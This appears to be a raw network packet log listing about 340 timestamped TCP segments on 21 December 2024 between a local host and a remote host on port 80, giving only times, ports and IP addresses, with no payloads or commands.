Dec 21, 2024 10:15:22.088361979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.088417053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.088496923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.088553905 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.089584112 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.089646101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.089745998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.090156078 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.090879917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.090930939 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.090938091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.090976954 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.091909885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.091969013 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.091999054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.092251062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.093199968 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.093262911 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.093269110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.093317986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.094269037 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.094341993 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.094444036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.094517946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.095494032 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.095550060 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.095617056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.095729113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.096648932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.096755028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.096775055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.096906900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.097836018 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.097906113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.097963095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.098012924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.099026918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.099092007 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.099184036 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.099302053 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.100250006 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.100308895 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.100511074 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.100564003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.102463961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.102526903 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.102583885 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.102638960 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.102642059 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.102679014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.102693081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.102732897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.103779078 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.103841066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.103908062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.104082108 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.104948044 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.105000973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.105005026 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.105170012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.106112003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.106169939 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.106199026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.106252909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.107583046 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.107635021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.107646942 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.107683897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.108526945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.108602047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.108647108 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.108757019 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.109662056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.109710932 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.109791994 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.109844923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.110877991 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.110943079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.111011028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.111073017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.112052917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.112108946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.112179041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.112226963 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.113214970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.113277912 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.113339901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.113497972 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.114384890 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.114444017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.114490986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.114610910 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.115618944 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.115675926 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.115700960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.115752935 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.116787910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.116843939 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.116885900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.116936922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.117942095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.118005991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.118058920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.118161917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.119138002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.119201899 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.119251966 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.119374037 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.120336056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.120410919 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.120456934 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.120532036 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.121495008 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.121545076 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.121603012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.121669054 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.122685909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.122742891 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.122812986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.122879982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.123866081 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.123919010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.123970985 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.124022961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.125071049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.125195980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.125246048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.126230955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.126282930 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.126382113 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.126431942 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.127417088 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.127554893 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.127608061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.128631115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.128684044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.128745079 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.128798962 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.129787922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.129839897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.129900932 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.130918026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.130981922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.261858940 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.262008905 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.262090921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.262456894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.262653112 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.262716055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.263631105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.263700962 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.263763905 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.263825893 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.264803886 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.264909983 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.265007019 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.265060902 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.265979052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.266079903 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.266136885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.267143011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.267205000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.267335892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.267394066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.268357992 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.268393040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.268416882 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.268449068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.269506931 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.269644976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.269704103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.270740986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.270862103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.270921946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.271873951 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.271996975 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.272056103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.274806976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.275669098 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.275732994 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.276469946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.276504040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.276526928 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.276537895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.276552916 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.276575089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.276586056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.276612043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.276628971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.276669979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.277503014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.278887987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.278923035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.278947115 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.278985977 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.280060053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.280097008 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.280119896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.280170918 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.280930042 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.280987024 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.281069040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.281127930 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.282155991 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.282212973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.282294035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.282356024 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.283349991 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.283516884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.283576012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.284483910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.284558058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.284832001 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.284944057 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.285715103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.285775900 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.285880089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.285936117 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.286777020 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.286957979 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.287020922 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.288083076 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.288141966 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.288239956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.288295984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.289151907 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.289391041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.289449930 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.290508032 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.290568113 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.290695906 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.290750027 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.291600943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.291663885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.291800976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.291867971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.292848110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.292902946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.293025017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.293076038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.294071913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.294109106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.294131041 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.294161081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.295252085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.295444965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.295502901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.296494007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.296529055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.296550035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.296582937 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.297713995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.297760963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.297774076 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.297816038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.298706055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.298897028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.298953056 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.299894094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.299956083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.300055981 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.300117970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.301079035 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.301135063 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.301235914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.302470922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.302508116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.302529097 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.302557945 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.303524971 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.303559065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.303581953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.303611994 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.304721117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.304757118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.304778099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.304835081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.305756092 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.305814028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.305902958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.305951118 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.307074070 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.307107925 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.307131052 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.307159901 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.308280945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.308336973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.308422089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.308475018 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.309484005 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.309519053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.309531927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.309571028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.310520887 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.310904980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.310957909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.311768055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.311804056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.311826944 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.311856031 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.312938929 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.312974930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.312997103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.313033104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.313291073 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.313421011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.313477039 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.314513922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.314574003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.314634085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.314688921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.315669060 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.315743923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.315846920 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.315893888 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.317668915 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.317720890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.318809986 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.318871021 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.320288897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.320453882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.320488930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.320524931 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.320537090 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.320558071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.320580959 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.321293116 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.321455956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.321511984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.322501898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.322536945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.322594881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.323786974 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.323823929 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.323843002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.323867083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.324836969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.324892044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:22.454353094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:22.454420090 CET	49781	80	192.168.2.4	31.41.244.11
